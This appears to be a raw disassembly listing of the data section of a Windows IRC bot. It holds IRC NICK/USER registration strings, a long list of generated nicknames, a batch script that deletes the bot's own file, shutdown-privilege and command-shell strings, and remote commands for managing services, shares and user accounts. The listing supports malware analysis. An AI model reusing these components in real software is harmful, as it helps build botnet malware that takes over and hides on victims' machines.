		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; ⌠
		db  43h	; C
		db    0
		db  88h	; ┬
		db 0B1h	; ╠
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; ⌠
		db  43h	; C
		db    0
		db    8
		db  93h	; ⌠
		db  43h	; C
		db    0
		db    4
		db  93h	; ⌠
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; ф
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ╧
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ╥
		db  42h	; B
		db    0
		db 0ECh	; Л
		db 0CAh	; й
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset word_594F42	; DATA XREF: ___:00438BB8o
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
